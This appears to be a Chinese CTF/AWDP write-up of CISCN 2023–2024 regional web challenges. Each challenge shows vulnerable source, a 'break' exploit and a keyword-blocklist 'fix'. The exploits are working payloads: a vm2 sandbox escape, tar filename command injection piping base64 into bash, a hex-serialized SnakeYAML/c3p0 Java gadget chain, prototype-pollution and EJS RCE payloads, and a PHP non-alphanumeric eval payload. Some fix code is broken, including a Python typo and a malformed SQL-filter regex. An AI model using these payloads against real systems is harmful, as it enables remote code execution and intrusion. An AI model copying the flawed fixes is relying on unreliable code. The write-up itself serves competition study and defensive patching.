一些之前学习的文章
ciscn2023华东北awdp - S1ain (gensokyo.cn)
ciscn国赛华东北分区赛WriteUp分享 | CTF导航 (ctfiot.com)
2023CISCN华北分区赛-web | Jerem1ah’s Blog (lejeremiah.github.io)
2023 CISCN 华东北分区赛 Web Writeup - X1r0z Blog (exp10it.cn)
一次awdplus经历(网鼎杯线下赛) - kar3a - 博客园 (cnblogs.com)
2023 CISCN 华东北分区赛
tainted_node nodejs vm逃逸
const express = require('express');
const bodyParser = require('body-parser');
const session = require('express-session');
const randomize = require('randomatic');
const path = require('path');
const { VM } = require('vm2');
const app = express();
const vm = new VM();
function merge(target, source) {
for (let key in source) {
if (key === 'escapeFunction' || key === 'outputFunctionName') {
throw new Error("No RCE")
}
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
app
.use(bodyParser.urlencoded({extended: true}))
.use(bodyParser.json());
app.use(express.static(path.join(__dirname, './static')));
app.set('views', path.join(__dirname, "./views"));
app.set('view engine', 'ejs');
app.use(session({
name: 'tainted_node_session',
secret: randomize('aA0', 16),
resave: false,
saveUninitialized: false
}))
app.all("/login", (req, res) => {
if (req.method == 'POST') {
let userInfo = {}
try {
merge(userInfo, req.body)
} catch (e) {
return res.render("login", {message: "Login Error"})
}
if (userInfo.username == "admin" && userInfo.password === "realpassword") {
userInfo.logined = true
}
req.session.userInfo = userInfo
if (userInfo.username == "admin" && userInfo.logined == true)
{
return res.redirect('/sandbox')
}
else {
return res.render("login", {message: "You are not admin"})
}
}else {
if (req.session.userInfo){
if (req.session.userInfo.logined == true && req.session.userInfo.username == "admin"){
return res.redirect('/sandbox')
}else{
return res.render("login", {message: "You are not admin"})
}
}else {
return res.render('login', {message: ""});
}
}
});
app.all('/sandbox', (req, res) => {
if (req.session.userInfo.logined != true || req.session.userInfo.username != "admin") {
return res.redirect("/login")
}
const code = req.query.code || '';
result = vm.run((code));
res.render('sandbox', { result });
})
app.all('/', (req, res) => {
return res.redirect('/login')
})
app.listen(8888, () => console.log(`listening on port 8888!`))
break
这题要结合附件看,实际上一眼就能看见几个点,例如存在merge原型链污染函数,然后就是vm.run,可能存在逃逸,根据merge函数的判断可以看出,对outputFunctionName和escapeFunction字符串进行了过滤,导致无法使用ejs原型链污染RCE,实际上题目的版本是3.1.8,即使没ban也仍然是无法利用的,所以这是一个小陷阱,重点还是vm.run,在vm2的3.9.15版本中存在着逃逸漏洞,这里直接放上漏洞链接与POC
https://gist.github.com/leesh3288/f05730165799bf56d70391f3d9ea187c
const {VM} = require("vm2");
const vm = new VM();
const code = `
aVM2_INTERNAL_TMPNAME = {};
function stack() {
new Error().stack;
stack();
}
try {
stack();
} catch (a$tmpname) {
a$tmpname.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch pwned');
}
`
console.log(vm.run(code));
那么这题的break点就在sandbox路由中,在sandbox路由开始对session中的userInfo进行了一个校验,判断logined值是否为true,username是否为admin
所以我们要去先解决userInfo,那么又回到了login路由中
当用户输入的username为admin,并且password为realpassword时,设置logined为true,那么就可以去访问sandbox路由去逃逸执行命令了
fix
修复就需要去关注漏洞点,我们根据源码可以大概知晓题意,登录之后去输入代码,通过vm沙箱去执行,那么我们可以去过滤逃逸POC中的一些关键词
例如
exec fork spawn //nodejs中执行命令的函数
cat tac flag //从命令执行上进行控制
就可以在sandbox路由中添加waf
const a = ["exec","fork","spawn","cat","tac","flag","constructor","proto"];
for (let i = 0; i < a.length; i++) {
if(code.includes(a[i])){
throw new Error("waf");
}
}
也可以针对回显进行修复,只要判断回显中存在flag{字段,那就抛出异常
result = vm.run((code));
if(result.includes("flag{")){
throw new Error("waf!");
}
以下是完全修复的sandbox路由
app.all('/sandbox', (req, res) => {
if (req.session.userInfo.logined != true || req.session.userInfo.username != "admin") {
return res.redirect("/login")
}
const code = req.query.code || '';
const a = ["exec","fork","spawn","cat","tac","flag"]; //此处仍可添加
for (let i = 0; i < a.length; i++) {
if(code.includes(a[i])){
throw new Error("waf");
}
}
result = vm.run((code));
if(result.includes("flag{")){
throw new Error("waf!");
}
res.render('sandbox', { result });
})
search_engine SSTI
from flask import *
import os
from waf import waf
import re
app = Flask(__name__)
pattern = r'([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}):([0-9]{2,5})'
content = '''<!doctype html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<meta ip="%s">
<meta port="%s">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Ciscn Search Engine</title>
</head>
<body>
<div class="htmleaf-container">
<div class="wrapper">
<div class="container">
<h1>Ciscn Search Engine</h1>
<form class="form" method="post" action="/" id="Form">
<input name="word" type="text" placeholder="word">
<button type="submit" id="login-button">Search</button>
</form>
</div>
<ul class="bg-bubbles">
<li>%s</li>
</ul>
</div>
</body>
</html>'''
@app.route("/", methods=["GET", "POST"])
def index():
ip, port = re.findall(pattern,request.host).pop()
if request.method == 'POST' and request.form.get("word"):
word = request.form.get("word")
if not waf(word):
word = "Hacker!"
else:
word = ""
return render_template_string(content % (str(ip), str(port), str(word)))
if __name__ == '__main__':
app.run(host="0.0.0.0", port=int(os.getenv("PORT")))
break
当request方法为POST并且存在word参数时,经过waf过滤后会对其进行模板渲染,其中就存在SSTI漏洞,因为没有waf的源码,所以我这里就推荐大家自己手动fuzz一下过滤了哪些符号,并使用Fenjing项目去生成POC
Fix
因为考点是SSTI,所以显然只需要解决掉”{“ 即可,为了保险期间,还是同样对于输入和输出进行过滤
@app.route("/", methods=["GET", "POST"])
def index():
ip, port = re.findall(pattern,request.host).pop()
if request.method == 'POST' and request.form.get("word"):
word = request.form.get("word")
if not waf(word):
word = "Hacker!"
else:
word = ""
#针对ssti的{{ {%进行过滤
if "{{" int word or "{%" in word:
word = "Hacker!"
#针对结果进行过滤
result = render_template_string(content % (str(ip), str(port), str(word)))
if "flag{" in result:
word = "Hacker!"
return render_template_string(content % (str(ip), str(port), str(word)))
2023CISCN华北分区赛-web
pysym python命令执行逃逸
附件源码
from flask import Flask, render_template, request, send_from_directory
import os
import random
import string
app = Flask(__name__)
app.config['UPLOAD_FOLDER']='uploads'
@app.route('/', methods=['GET'])
def index():
return render_template('index.html')
@app.route('/',methods=['POST'])
def POST():
#判断是否存在上传文件
if 'file' not in request.files:
return 'No file uploaded.'
file = request.files['file']
#文件内容长度不能超过10240
if file.content_length > 10240:
return 'file too lager'
path = ''.join(random.choices(string.hexdigits, k=16))
directory = os.path.join(app.config['UPLOAD_FOLDER'], path)
os.makedirs(directory, mode=0o755, exist_ok=True)
savepath=os.path.join(directory,file.name)
file.save(savepath)
try:
#使用tar对文件进行解压,由于没对文件名进行校验,存在命令注入漏洞
os.system('tar --absolute-names -xvf {} -C {}'.format(savepath,directory))
except:
return 'something wrong in extracting'
links = []
for root, dirs, files in os.walk(directory):
for name in files:
extractedfile =os.path.join(root, name)
#判断文件是否为软链接,是则删除
if os.path.islink(extractedfile):
os.remove(extractedfile)
return 'no symlink'
#判断文件是否是文件夹,是则删除
if os.path.isdir(path) :
return 'no directory'
links.append(extractedfile)
return render_template('index.html',links=links)
#文件下载路由
@app.route("/uploads/<path:path>",methods=['GET'])
def download(path):
filepath = os.path.join(app.config['UPLOAD_FOLDER'], path)
if not os.path.isfile(filepath):
return '404', 404
return send_from_directory(app.config['UPLOAD_FOLDER'], path)
if __name__ == '__main__':
app.run(host='0.0.0.0',port=1337)
很显然,我们可以去修改上传tar的文件名,从而造成命令注入
1.tar||echo {需要执行的命令的base64加密}|base64 -d|bash||
可以选择反弹shell,也可以将执行命令的结果写入到./uploads目录中,直接进行查看
修复,过滤文件名中的关键词即可
@app.route('/',methods=['POST'])
def POST():
#判断是否存在上传文件
if 'file' not in request.files:
return 'No file uploaded.'
file = request.files['file']
#对文件名进行过滤
if ";" in file.name or "|" in file.name or "&" in file.name:
return "no"
if file.content_length > 10240:
return 'file too lager'
path = ''.join(random.choices(string.hexdigits, k=16))
directory = os.path.join(app.config['UPLOAD_FOLDER'], path)
os.makedirs(directory, mode=0o755, exist_ok=True)
savepath=os.path.join(directory,file.name)
file.save(savepath)
try:
os.system('tar --absolute-names -xvf {} -C {}'.format(savepath,directory))
except:
return 'something wrong in extracting'
links = []
for root, dirs, files in os.walk(directory):
for name in files:
extractedfile =os.path.join(root, name)
#判断文件是否为软链接,是则删除
if os.path.islink(extractedfile):
os.remove(extractedfile)
return 'no symlink'
#判断文件是否是文件夹,是则删除
if os.path.isdir(path) :
return 'no directory'
links.append(extractedfile)
return render_template('index.html',links=links)
normal_snake snakeyaml反序列化
break
yaml反序列化,ban了!!,用自定义tag绕过
过滤了JAVA JDNI JDBC badattr hot等关键字
查看依赖
可以通过yaml反序列化去触发c3p0反序列化,构造一条能利用的链子
event那条toString ---> jackson触发getter ---> templates触发恶意类加载
编写POC,很久之前写的了。。内网要打内存马,这是我弹计算器用的
%TAG ! tag:yaml.org,2002:
---
!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource
userOverridesAsString: "HexAsciiSerializedMap:ACED0005737200236A617661782E7377696E672E6576656E742E4576656E744C697374656E65724C697374B136C67D84EAD64403000078707400176A6176612E6C616E672E496E7465726E616C4572726F727372001C6A617661782E7377696E672E756E646F2E556E646F4D616E61676572E32B21794C71CA4202000249000E696E6465784F664E6578744164644900056C696D69747872001D6A617661782E7377696E672E756E646F2E436F6D706F756E6445646974A59E50BA53DB95FD0200025A000A696E50726F67726573734C000565646974737400124C6A6176612F7574696C2F566563746F723B787200256A617661782E7377696E672E756E646F2E4162737472616374556E646F61626C6545646974080D1B8EED020B100200025A0005616C6976655A000B6861734265656E446F6E657870010101737200106A6176612E7574696C2E566563746F72D9977D5B803BAF010300034900116361706163697479496E6372656D656E7449000C656C656D656E74436F756E745B000B656C656D656E74446174617400135B4C6A6176612F6C616E672F4F626A6563743B78700000000000000001757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C0200007870000000647372002C636F6D2E666173746572786D6C2E6A61636B736F6E2E6461746162696E642E6E6F64652E504F4A4F4E6F646500000000000000020200014C00065F76616C75657400124C6A6176612F6C616E672F4F626A6563743B7872002D636F6D2E666173746572786D6C2E6A61636B736F6E2E6461746162696E642E6E6F64652E56616C75654E6F6465000000000000000102000078720030636F6D2E666173746572786D6C2E6A61636B736F6E2E6461746162696E642E6E6F64652E426173654A736F6E4E6F6465000000000000000102000078707372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000649000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785B000A5F62797465636F6465737400035B5B425B00065F636C6173737400125B4C6A6176612F6C616E672F436C6173733B4C00055F6E616D657400124C6A6176612F6C616E672F537472696E673B4C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B787000000000FFFFFFFF757200035B5B424BFD19156767DB37020000787000000001757200025B42ACF317F8060854E0020000787000000156CAFEBABE00000034001801000161070001010040636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F72756E74696D652F41627374726163745472616E736C65740700030100063C696E69743E010003282956010004436F64650C000500060A000400080100116A6176612F6C616E672F52756E74696D6507000A01000A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B0C000C000D0A000B000E01000463616C6308001001000465786563010027284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B0C001200130A000B001401000A536F7572636546696C65010006612E6A617661002100020004000000000001000100050006000100070000001A000200010000000E2AB70009B8000F1211B6001557B10000000000010016000000020017707400064165636F757370770100787070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707070707800000000000000647078;"
import cc.tools;
import com.fasterxml.jackson.databind.node.POJONode;
import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;
import javax.swing.event.EventListenerList;
import java.util.Base64;
public class hex_base {
public static void main(String[] args) throws Exception{
tools.overrideJackson();
Object templates = tools.getTemplates(tools.getshortclass("calc"));
POJONode jsonNodes = new POJONode(templates);
EventListenerList eventListenerList = tools.getEventListenerList(jsonNodes);
String serialize = tools.serialize(eventListenerList);
byte[] bytein = Base64.getDecoder().decode(serialize);
//所需的hex
// System.out.println(bytein);
String Hex = "HexAsciiSerializedMap:"+bytesToHexString(bytein,bytein.length)+"p";
System.out.println(Hex);
}
public static String bytesToHexString(byte[] bArray, int length) {
StringBuffer sb = new StringBuffer(length);
for(int i = 0; i < length; ++i) {
String sTemp = Integer.toHexString(255 & bArray[i]);
if (sTemp.length() < 2) {
sb.append(0);
}
sb.append(sTemp.toUpperCase());
}
return sb.toString();
}
}
fix
在他原来的waf上加个C3P0字符串检测就可以了,不放心还可以吧TemplatesImpl和signObject都ban了,懒得改了
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.ctf.security;
public class SafeConstructorWithException {
private static final String JAVA_STRING = "JAVA";
private static final String JNDI_STRING = "JNDI";
private static final String JDBC_STRING = "JDBC";
private static final String CUSTOM_STRING1 = "42616441747472696275746556616C7565457870457863657074696F6E";
private static final String CUSTOM_STRING2 = "486F74537761707061626C65546172676574536F75726365";
private final String data;
public SafeConstructorWithException(String data) throws SafeStringException, CustomException {
this.data = data;
this.checkForExceptions();
}
private void checkForExceptions() throws SafeStringException, CustomException {
String upperCaseData = this.data.toUpperCase();
if (!upperCaseData.contains("JAVA") && !upperCaseData.contains("JNDI") && !upperCaseData.contains("JDBC") && !upperCaseData.contains("C3P0")) {
if (upperCaseData.contains("42616441747472696275746556616C7565457870457863657074696F6E") || upperCaseData.contains("486F74537761707061626C65546172676574536F75726365")) {
throw new CustomException("No way to pass!");
}
} else {
throw new SafeStringException("Unsafe data detected!");
}
}
}
将jar添加为库
直接IDEA插件JarEditor修改保存即可
2024 CISCN 东北分区赛
一道原型链污染
app
const express = require('express');
const app = express();
const port = 3000;
const path = require('path');
const flag = process.env.DASFLAG;
app.set('view engine', 'ejs');
app.use(express.static(path.join(__dirname, 'public')));
app.use(express.urlencoded({ extended: true }));
app.use(express.json());
app.get('/', (req, res) => {
res.render('index');
});
app.get('/hint', (req, res) => {
res.render('hint');
});
app.get('/flag', (req, res) => {
res.render('flag',{flag:'Try Harder!'});
});
app.post('/user', (req, res) => {
const { username, password } = req.body;
let user = {
username : JSON.parse(username),
password : JSON.parse(password),
auth : 'GenshineImpact'
}
let myUser = Object.create(user)
const token = myUser.__proto__.username.__proto__.auth
try{
if(token!==null && token === 'CyberHunter'){
res.render('flag',{flag:flag})
}else{
res.send('login fail')
}
}catch (error){
console.error('Error parsing JSON:', error.message);
res.send("Invalid Arguments!")
}
});
app.listen(port, () => {
console.log(`Server is running at http://localhost:${port}`);
});
break
有点简单的过分。。
接受username参数,json解析一下,所以username要传json字符串,可以原型链污染
payload
{"__proto__":{"auth":"CyberHunter"}}
{"username":"{\"__proto__\":{\"auth\":\"CyberHunter\"}}",
"password":"123"}
简单到爆。。
其实还有坑啊,ejs 3.1.9 有原型链污染渲染RCE的,打打看呢
{"__proto__":{"__proto__":{"settings":{"view options":{"escapeFunction":'console.log;this.global.process.mainModule.require("child_proces").execSync("calc");',"client":"true"}}}}}
{"username":"{\"__proto__\":{\"__proto__\":{\"settings\":{\"view options\":{\"escapeFunction\":\"console.log;this.global.process.mainModule.require(\\\"child_proces\\\").execSync(\\\"calc\\\");\",\"client\":\"true\"}}}}}",
"password":"123"}
哦没有覆盖对象。。太久没做题了脑子坏掉了,sorry
fix
对输入进行过滤
app.post('/user', (req, res) => {
const { username, password } = req.body;
const a = ["CyberHunter","proto","__",".","constructor","+","concat","prototype"];
for (let i = 0; i < a.length; i++) {
if(username.includes(a[i])){
throw new Error("waf");
}
if(password.includes(a[i])){
throw new Error("waf");
}
}
let user = {
username : JSON.parse(username),
password : JSON.parse(password),
auth : 'GenshineImpact'
}
let myUser = Object.create(user)
const token = myUser.__proto__.username.__proto__.auth
try{
if(token!==null && token === 'CyberHunter'){
res.render('flag',{flag:flag})
}else{
res.send('login fail')
}
}catch (error){
console.error('Error parsing JSON:', error.message);
res.send("Invalid Arguments!")
}
});
git
break
按正常流程应该是 githack拿源码
python githack.py url
<?php
error_reporting(0);
if (isset($_POST['c'])) {
if ($_POST['c'] === 'whoami') {
system("whoami");
} else {
if(preg_match('/[0-9]|[a-z]/i',$_POST['c'])){
echo "what do you want??? just no letters";
}
else{
eval($_POST['c']);
}
}
}
?>
超级勾吧简单的rce。。取反/自增一把梭
c=$__=(_/_._){_};$__++;$_=$__.$__++;$__++;$__++;$_=_.$_.++$__.++$__;($$_{_})($$_{__});&_=system&__=whoami
记得URL加密
c=%24%5f%5f%3d%28%5f%2f%5f%2e%5f%29%7b%5f%7d%3b%24%5f%5f%2b%2b%3b%24%5f%3d%24%5f%5f%2e%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%3d%5f%2e%24%5f%2e%2b%2b%24%5f%5f%2e%2b%2b%24%5f%5f%3b%28%24%24%5f%7b%5f%7d%29%28%24%24%5f%7b%5f%5f%7d%29%3b&_=system&__=whoami
fix
过滤拉满即可
<?php
error_reporting(0);
if (isset($_POST['c'])) {
if ($_POST['c'] === 'whoami') {
system("whoami");
} else {
if(preg_match('/[0-9a-zA-Z!,@#^&%*:{}\-<\?>\"|`~\\\\$_+.;]/i',$_POST['c'])){
echo "what do you want??? just no letters";
}
else{
eval($_POST['c']);
}
}
}
?>
upload
break
看源码,我艹了我都不知道这个是不是原来的源码
<?php if ($_SERVER["REQUEST_METHOD"] == "POST") {
$allowedTypes = array("image/jpeg", "image/png", "image/gif");
$maxSize = 5 * 1024 * 1024; // 5 MB
if (isset($_FILES["file"])) {
$file = $_FILES["file"];
// 检查文件类型
if (in_array($file["type"], $allowedTypes)) {
// 检查文件大小
if ($file["size"] <= $maxSize) {
$uploadDir = __DIR__."/uploads/"; // 存放上传文件的目录
$uploadFile = $uploadDir . basename($file["name"]);
$ext = end(explode('.',$uploadFile)); //获取后缀名
if(preg_match("/php|php5|php4|php3|phtml|pht|ini/",$ext)){ //设置文件上传黑名单
die( "<script>alert('文件后缀不允许上传哦!')</script>");
}
if (move_uploaded_file($file["tmp_name"], $uploadFile)) {
echo "<script>alert('文件上传成功!')</script>";
} else {
echo "<script>alert('文件上传失败!')</script>";
}
} else {
echo "<script>alert('文件太大,不允许上传。')</script>";
}
} else {
echo "<script>alert('所选文件不允许上传。')</script>";
}
} else {
echo "<script>alert('请选择一个文件。')</script>";
}
}
?>
一眼type头+.htaccess,没活,不做了
fix
黑名单加上.htaccess得了
<?php if ($_SERVER["REQUEST_METHOD"] == "POST") {
$allowedTypes = array("image/jpeg", "image/png", "image/gif");
$maxSize = 5 * 1024 * 1024; // 5 MB
if (isset($_FILES["file"])) {
$file = $_FILES["file"];
// 检查文件类型
if (in_array($file["type"], $allowedTypes)) {
// 检查文件大小
if ($file["size"] <= $maxSize) {
$uploadDir = __DIR__."/uploads/"; // 存放上传文件的目录
$uploadFile = $uploadDir . basename($file["name"]);
$ext = end(explode('.',$uploadFile)); //获取后缀名
if(preg_match("/php|php5|php4|php3|phtml|pht|ini|htaccess/",$ext)){ //设置文件上传黑名单
die( "<script>alert('文件后缀不允许上传哦!')</script>");
}
if (move_uploaded_file($file["tmp_name"], $uploadFile)) {
echo "<script>alert('文件上传成功!')</script>";
} else {
echo "<script>alert('文件上传失败!')</script>";
}
} else {
echo "<script>alert('文件太大,不允许上传。')</script>";
}
} else {
echo "<script>alert('所选文件不允许上传。')</script>";
}
} else {
echo "<script>alert('请选择一个文件。')</script>";
}
}
?>
逻辑
代码很多,我也没SQL文件,启动不了,所以就直接看代码,大概的分析下。。怎么感觉就直接登录admin不就结束了吗。。
<?php
// login.php
require_once("config.php");
if ($_SERVER["REQUEST_METHOD"] == "POST") {
// 获取前端传递过来的用户名和密码
$username = $_POST["username"];
$password = $_POST["password"];
// 查询数据库验证用户
$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
// 验证成功
echo "登录成功!欢迎 $username";
echo "你想要的在admin";
if ($username == 'admin'){
include("/flag.txt");
}
} else {
// 验证失败
echo "登录失败,请检查用户名和密码";
}
} else {
// 如果不是 POST 请求,可能需要进行其他处理
echo "Invalid request method";
}
// 关闭数据库连接
$conn->close();
?>
修复的话直接不读flag文件就行了。。。当然也可能可以进行SQL写webshell的操作?这里加点SQLwaf
<?php
if ($_SERVER["REQUEST_METHOD"] == "POST") {
// 获取前端传递过来的用户名和密码
$username = $_POST["username"];
$password = $_POST["password"];
if(preg_match('/\'|\"|^|\||&|,|#|-| |*|\\|union|select|hex|load|flag|and|if|elf|case|sleep|benchmark|lock|/i',$username)){
die("GUN");
}
if(preg_match('/\'|\"|^|\||&|,|#|-| |*|\\|union|select|hex|load|flag|and|if|elf|case|sleep|benchmark|lock|/i',$password)){
die("GUN");
}
$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
// 验证成功
echo "登录成功!欢迎 $username";
echo "你想要的在admin";
if ($username == 'admin'){
include("/etc/passwd");
}
} else {
// 验证失败
echo "登录失败,请检查用户名和密码";
}
} else {
echo "Invalid request method";
}
// 关闭数据库连接
$conn->close();
?>